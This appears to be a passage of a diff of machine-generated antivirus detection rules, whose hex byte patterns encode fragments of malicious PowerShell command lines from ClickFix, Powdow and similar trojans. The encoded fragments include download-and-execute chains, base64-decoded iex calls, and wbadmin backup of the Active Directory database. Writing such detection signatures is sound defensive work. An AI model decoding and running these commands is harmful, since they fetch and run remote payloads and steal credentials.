74 65 6d 33 32 5c 63 6f 6e 66 69 67 5c 73 79 73 74 65 6d 00 00 d7 ec 00 00 04 00 04 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 56 69 61 72 75 6e 73 63 72 69 70 74 68 65 6c 70 65 72 2e 41 00 04 00 b2 00 72 00 75 00 6e 00 } //31091 - $a_00_6 = {72 00 69 00 70 00 74 00 68 00 65 00 6c 00 70 00 65 00 72 00 2e 00 65 00 78 00 65 00 20 00 73 00 75 00 72 00 66 00 61 00 63 00 65 00 63 00 68 00 65 00 63 00 6b 00 20 00 5c 00 5c 00 3f 00 5c 00 43 00 3a 00 5c 00 54 00 65 00 73 00 74 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c } //115 + $a_00_2 = {22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 00 00 d7 eb 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 47 21 4d 54 42 00 01 00 48 00 5b 00 53 00 79 00 73 00 74 00 65 00 } //120 + $a_00_3 = {43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 } //109 Convert]::FromBase64Str + $a_00_4 = {67 00 28 00 24 00 01 00 50 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 1b 02 29 00 3b 00 69 00 65 00 78 00 20 00 24 00 90 02 } //105 + $a_00_6 = {90 00 00 00 d7 eb 00 00 16 00 16 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 74 64 73 45 78 66 69 6c 2e 4a 00 0a 00 0e 00 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 0a 00 47 02 73 00 74 00 61 00 72 00 74 00 20 00 62 00 61 00 63 00 6b 00 75 00 70 00 20 00 2d 00 62 00 61 00 63 00 6b 00 75 00 70 00 54 00 61 00 72 00 67 00 65 00 74 00 3a } //101 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_00_2 & 1)*120+(#a_00_4 & 1)*97+(#a_74_5 & 1)*31091+(#a_00_6 & 1)*115) >=220 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_00_2 & 1)*120+(#a_00_3 & 1)*109+(#a_00_4 & 1)*105+(#a_00_6 & 1)*101) >=220 } -rule _InfrastructureShared_26422{ +rule _InfrastructureShared_28064{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 47 21 4d 54 42 00 01 00 48 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 } //21283 + $a_00_1 = {61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 50 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 } //109 + $a_00_2 = {67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 1b 02 29 00 3b 00 69 00 65 00 78 00 20 00 24 00 90 02 3c 7c 00 69 00 65 00 78 00 90 00 00 00 d7 eb 00 00 16 00 16 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 74 64 73 45 78 66 69 } //105 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_00_2 & 1)*105) >=3 + +} +rule _InfrastructureShared_28065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,16 00 16 00 05 00 21 " @@ -345543,7 +366841,7 @@ rule _InfrastructureShared_26422{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*107+(#a_33_3 & 1)*25972) >=22 } -rule _InfrastructureShared_26423{ +rule _InfrastructureShared_28066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 01 00 21 " @@ -345553,22 +366851,106 @@ rule _InfrastructureShared_26423{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_26424{ +rule _InfrastructureShared_28067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,2a 00 2a 00 09 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 50 43 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 } //21283 $a_00_1 = {72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 0a 00 06 00 69 00 77 00 72 00 0a 00 06 00 69 00 65 00 78 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 0a 00 68 00 74 00 74 00 70 00 73 00 01 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 } //80 - $a_00_4 = {73 00 73 00 01 00 18 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 00 00 d7 ef 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 73 68 65 6c 6c 4c 6f 61 64 65 72 2e 44 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 } //112 - $a_00_5 = {73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 49 00 45 00 58 00 01 00 14 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 01 00 28 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 52 02 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 90 02 20 68 00 74 } //101 - $a_3a_7 = {2f 00 } //656 / - $a_00_8 = {2e 00 36 00 75 00 39 00 39 00 71 00 76 00 30 00 62 00 2e 00 73 00 75 00 2f 00 90 02 0f 2f 00 90 02 0f 2e 00 70 00 73 00 31 00 90 00 00 00 d7 f0 00 00 03 00 03 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 72 74 48 69 6a 61 63 6b 2e 41 43 00 03 00 c3 02 72 00 65 00 } //47 + $a_00_4 = {73 00 73 00 01 00 18 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 00 00 d7 ed 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 48 21 4d 54 42 00 01 00 63 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 } //112 + $a_02_6 = {20 69 00 77 00 72 00 90 02 20 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2f 00 78 00 39 00 30 00 02 06 2e 00 6a 00 70 00 67 00 90 00 01 00 1a 00 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 01 00 1c 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 63 00 6c 00 6f 00 73 00 65 00 01 00 18 00 43 } //108 + $a_00_8 = {65 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 d7 ed 00 00 07 00 07 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 52 41 21 4d 54 42 00 02 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 28 02 6d 00 73 00 90 } //97 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_00_4 & 1)*112+(#a_00_5 & 1)*101+(#a_3a_7 & 1)*656+(#a_00_8 & 1)*47) >=42 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_00_4 & 1)*112+(#a_02_6 & 1)*108+(#a_00_8 & 1)*97) >=42 } -rule _InfrastructureShared_26425{ +rule _InfrastructureShared_28068{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 48 21 4d 54 42 00 01 00 63 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 20 69 00 77 00 72 00 90 02 20 68 00 74 00 74 00 70 00 3a 00 } //21283 + $a_00_1 = {90 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2f 00 78 00 39 00 30 00 02 06 2e 00 6a 00 } //47 + $a_00_2 = {90 00 01 00 1a 00 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 01 00 1c 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 63 00 6c 00 6f 00 73 00 65 00 01 00 18 00 43 00 72 00 65 00 61 00 74 00 65 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 d7 ed 00 00 07 00 07 00 05 } //112 + $a_53_3 = {46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 52 41 21 4d 54 42 00 } //8448 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47+(#a_00_2 & 1)*112+(#a_53_3 & 1)*8448) >=4 + +} +rule _InfrastructureShared_28069{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 52 41 21 4d 54 42 00 02 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 } //21283 + $a_6d_1 = {73 00 } //10240 s + $a_01_2 = {26 68 00 } //9104 + $a_23_3 = {01 26 61 00 90 23 03 01 26 2e 00 90 23 03 01 26 65 00 78 00 65 00 90 00 01 00 18 00 2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 20 00 27 00 26 00 27 00 01 00 48 02 2f 00 2f 00 90 23 03 01 26 6a 00 90 23 03 01 26 75 00 90 23 03 01 26 6d 00 90 23 03 01 26 73 00 90 23 03 01 26 74 00 6f 00 90 23 03 01 26 72 00 2e 00 63 00 90 23 03 01 26 6c 00 6f 00 90 23 03 01 26 75 00 64 00 90 00 00 00 d7 ee 00 00 03 00 03 00 03 00 21 23 53 4c } //116 + $a_72_4 = {6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 53 4d 21 4d 54 42 00 01 00 24 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 01 00 76 00 28 00 27 00 6d 00 73 00 26 00 26 } //14918 + condition: + ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*10240+(#a_01_2 & 1)*9104+(#a_23_3 & 1)*116+(#a_72_4 & 1)*14918) >=7 + +} +rule _InfrastructureShared_28070{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 53 4d 21 4d 54 42 00 01 00 24 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 01 00 76 00 } //21283 + $a_00_1 = {6d 00 73 00 26 00 26 00 26 00 68 00 74 00 26 00 26 00 26 00 61 00 26 00 26 00 26 00 2e 00 26 00 26 00 26 00 65 00 78 } //40 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*40) >=3 + +} +rule _InfrastructureShared_28071{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 52 21 4d 54 42 00 05 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 42 00 59 00 77 00 42 00 31 00 41 00 48 00 49 00 41 00 } //21283 + $a_00_1 = {41 00 67 00 41 00 47 00 67 00 41 00 64 00 41 00 42 00 30 00 41 00 48 00 41 00 41 00 63 00 77 00 41 00 36 00 41 00 43 00 38 00 41 00 4c 00 01 00 5e 00 61 00 51 00 42 00 6c 00 41 00 48 00 67 00 41 } //98 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*98) >=6 + +} +rule _InfrastructureShared_28072{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 5a 44 21 4d 54 42 00 01 00 40 00 47 00 65 00 74 00 2d 00 53 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 54 00 61 00 73 00 6b 00 20 00 7c 00 20 00 57 00 68 00 65 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_28073{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 57 21 4d 54 42 00 01 00 32 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 } //21283 + $a_00_1 = {6e 00 67 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 46 00 5b 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 6e 00 69 00 63 00 6f 00 64 00 65 00 2e 00 47 00 65 00 74 00 42 00 79 00 74 00 65 00 73 00 } //114 + $a_00_2 = {01 00 20 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //40 + $a_ef_3 = {00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 66 53 65 65 2e 41 21 4d 54 42 00 01 00 12 00 6e 00 65 00 74 00 73 00 68 00 2e 00 65 00 78 00 65 00 01 00 3a 00 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 61 00 64 00 64 00 20 00 72 00 75 00 6c 00 65 00 01 00 18 00 61 00 63 00 74 00 69 00 6f 00 6e 00 3d 00 61 00 6c 00 6c 00 6f 00 77 00 01 00 53 02 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 3d 00 90 02 3c 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 77 00 6f 00 77 00 36 00 34 00 5c 00 73 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*40+(#a_ef_3 & 1)*0) >=4 + +} +rule _InfrastructureShared_28074{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 66 53 65 65 2e 41 21 4d 54 42 00 01 00 12 00 6e 00 65 00 74 00 73 00 68 00 2e 00 65 00 78 00 65 00 01 00 3a 00 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 } //21283 + $a_00_1 = {72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 61 00 64 00 64 00 20 00 72 00 75 00 6c 00 65 00 01 00 18 00 61 00 63 00 74 00 69 00 6f 00 6e 00 3d 00 61 00 6c 00 6c 00 6f 00 77 00 01 00 53 02 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 3d 00 90 02 3c 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 } //102 + $a_00_2 = {77 00 6f 00 77 00 36 00 34 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 90 00 00 00 d7 ef 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 65 72 73 68 65 6c 6c 4c 6f 61 64 65 72 2e 44 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //121 + $a_00_3 = {49 00 45 00 58 00 } //1 IEX + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*102+(#a_00_2 & 1)*121+(#a_00_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_28075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -345580,17 +366962,98 @@ rule _InfrastructureShared_26425{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*88+(#a_00_3 & 1)*119) >=5 } -rule _InfrastructureShared_26426{ +rule _InfrastructureShared_28076{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 72 74 48 69 6a 61 63 6b 2e 41 43 00 03 00 c3 02 72 00 65 00 67 00 20 00 61 00 64 00 64 00 90 02 04 68 00 6b 00 65 00 79 00 5f 00 6c 00 6f 00 63 00 61 00 6c 00 5f 00 6d 00 61 00 63 00 } //21283 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 4c 43 21 4d 54 42 00 01 00 3a 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 } //21283 + $a_00_1 = {72 00 69 00 6e 00 67 00 28 00 24 00 01 00 1b 02 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 90 02 3c 24 00 90 00 01 00 50 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 } //83 + $a_00_3 = {24 00 01 00 12 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 00 d7 f4 00 00 a1 00 a1 00 08 00 21 23 53 4c } //103 condition: - ((#a_46_0 & 1)*21283) >=3 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*83+(#a_00_3 & 1)*103) >=4 } -rule _InfrastructureShared_26427{ +rule _InfrastructureShared_28077{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 45 21 4d 54 42 00 64 00 2e 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 22 00 20 00 2d 00 63 00 20 00 70 00 69 00 6e 00 } //21283 牔橯湡场湩㈳䘯汩䙥硩䐮ⅅ呍Bd.powershell.exe" -c pin + $a_00_1 = {3e 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 22 00 20 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 70 00 69 00 6e 00 67 00 32 00 06 00 20 00 23 00 20 00 0a 00 18 00 46 00 69 00 6c 00 65 00 46 00 69 00 78 00 20 00 74 00 65 00 73 00 } //103 + $a_00_2 = {06 00 43 00 3a 00 5c 00 01 00 } //116 + $a_00_3 = {64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 78 00 6c 00 73 00 00 00 d7 f5 00 00 01 00 01 00 05 00 21 23 } //10 + $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 4c 21 4d 54 42 00 01 00 29 02 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 90 02 ff 2e 00 70 00 73 00 31 00 20 00 7c 00 20 00 69 00 65 00 } //19539 + $a_00_5 = {9c ff 12 00 61 00 73 00 74 00 72 00 61 00 6c 00 2e 00 73 00 68 00 9c ff 36 00 62 00 75 00 69 00 6c 00 64 00 73 00 2e 00 64 00 6f 00 74 00 6e 00 65 00 74 00 2e 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 9c ff 1c 00 43 00 68 00 72 00 69 00 73 00 54 00 69 00 74 00 75 00 73 00 54 00 65 00 63 00 68 00 9c ff 28 00 61 00 67 00 65 00 6e 00 74 00 2d 00 62 00 69 00 6e 00 61 00 72 00 69 00 65 00 73 00 } //120 + $a_00_6 = {6c 00 6f 00 75 00 64 00 00 00 d7 f5 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 58 21 4d 54 42 00 01 00 3e 00 53 00 74 00 61 00 72 00 74 00 2d 00 42 00 69 00 74 00 73 00 54 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 2d } //46 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*103+(#a_00_2 & 1)*116+(#a_00_3 & 1)*10+(#a_3a_4 & 1)*19539+(#a_00_5 & 1)*120+(#a_00_6 & 1)*46) >=161 + +} +rule _InfrastructureShared_28078{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 4c 21 4d 54 42 00 01 00 29 02 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 90 02 ff 2e 00 70 00 73 00 31 00 20 00 7c 00 20 00 69 00 65 00 78 00 90 00 9c } //21283 + $a_00_2 = {72 00 61 00 6c 00 2e 00 73 00 68 00 9c ff 36 00 62 00 75 00 69 00 6c 00 64 00 73 00 2e 00 64 00 6f 00 74 00 6e 00 65 00 74 00 2e 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 9c ff 1c 00 43 00 68 00 72 00 69 00 73 00 54 00 69 00 74 00 75 00 73 00 54 00 65 00 63 00 68 00 9c ff 28 00 61 00 67 00 65 00 6e 00 74 00 } //115 + $a_00_3 = {69 00 6e 00 61 00 72 00 69 00 65 00 73 00 2e 00 63 00 6c 00 6f 00 75 00 64 00 00 00 d7 f5 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 58 21 4d 54 42 00 01 00 3e 00 53 00 74 00 61 00 72 00 74 00 2d 00 42 00 69 00 74 00 73 00 } //45 + $a_00_4 = {61 00 6e 00 73 00 66 00 65 00 72 00 20 00 2d 00 53 00 6f 00 75 00 72 00 63 00 65 00 20 00 68 00 74 00 74 00 70 00 01 00 32 00 3b 00 20 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 } //84 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_3 & 1)*45+(#a_00_4 & 1)*84) >=1 + +} +rule _InfrastructureShared_28079{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 58 21 4d 54 42 00 01 00 3e 00 53 00 74 00 61 00 72 00 74 00 2d 00 42 00 69 00 74 00 73 00 54 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 2d 00 53 00 } //21283 + $a_00_1 = {72 00 63 00 65 00 20 00 68 00 74 00 74 00 70 00 01 00 32 00 3b 00 20 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 2e 00 2d 00 44 00 65 00 73 00 74 00 69 00 } //111 + $a_00_2 = {61 00 74 00 69 00 6f 00 6e 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 00 00 d7 f5 00 00 6f 00 6f 00 15 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 48 31 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_2 & 1)*111) >=4 + +} +rule _InfrastructureShared_28080{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 15 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 48 31 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 01 00 04 00 3d d8 e0 df 01 } //21283 + $a_00_2 = {01 00 04 00 3e d8 16 dd 01 00 06 00 20 00 14 27 20 00 01 00 04 00 3d d8 e2 df 01 00 04 00 47 27 } //9989 + $a_00_3 = {08 } //-497 + $a_4d_4 = {3c d8 fb df 01 00 04 00 3c d8 97 dd 01 00 06 00 20 00 f3 23 20 00 01 00 04 00 3d d8 e9 df 01 00 04 00 3c d8 df 10 01 00 04 00 d8 3d dd 13 01 00 06 00 20 00 a1 26 20 00 01 00 04 00 3d d8 a2 dc 01 00 04 00 3c d8 93 dd 01 00 04 00 3e d8 e9 dd 01 00 04 00 3d d8 ac dc 01 00 04 00 3d d8 80 de 01 00 04 00 a1 27 0f fe 00 00 d7 f6 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 52 65 7a 2e 41 21 4d 54 42 00 01 